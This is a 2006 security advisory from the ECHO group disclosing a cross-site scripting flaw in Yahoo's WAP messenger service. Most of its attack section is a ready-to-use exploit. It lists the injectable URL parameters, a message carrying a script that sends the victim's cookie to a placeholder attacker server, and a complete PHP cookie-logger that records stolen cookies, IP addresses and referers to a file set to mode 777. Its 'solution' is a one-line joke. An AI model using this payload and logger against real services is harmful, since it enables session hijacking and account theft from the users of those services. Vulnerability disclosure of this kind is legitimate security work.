ECHO_ADV_47$2006
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[ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability
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Author : Dedi Dwianto
Date Found : Sep, 14th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv47-theday-2006.txt
Critical Lvl : Medium Critical
Impact : Cross Site Scripting
Where : From Remote
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Affected Yahoo Service description:
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Wireless Application Protocol or WAP is an open international standard for applications thatuse wireless communication.
Its principal application is to enable access to the internet from a mobile phone or PDA.
Yahoo! Have wap site which provide mobile services such as messenger,mail and news via
mobile phone or PDA.
Service : Y! Messenger
URL : http://mm.yahoo.com/
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Vulnerability:
~~~~~~~~~~~~~~
Y! Wap messenger allow user can execute the HTML code if message want to save.
Proof Of Concept:
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[1] Open and login with wap browser ,
url : http://mm.yahoo.com
[2] Goto :
http://mm.yahoo.com/xhtml?k=[id]&u=[your_nick]&s=[your session]&m=[your_nick]_dummymin&c=707&p=&d=[your_friend_id]*[your_nick]*
[random number]*[XSS HERE]
Attacker Stealting Cookie for get Account :
[1] Send message to victim with connected via mobile/wap .
message :
----begin----
Hello , please save my message :)
<script>document.location='http://your-server/get_cookie.php?ambil=' + document.cookie</script>
----end -----
----get_cookie.php----
<?php
$cookie = $_GET['ambil'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br><br>');
fclose($fp);
?>
----end -----
change permission file cookies.txt to 777
Solution:
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- Don't Save any message with html code :).
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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ az001,boom3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
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Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id
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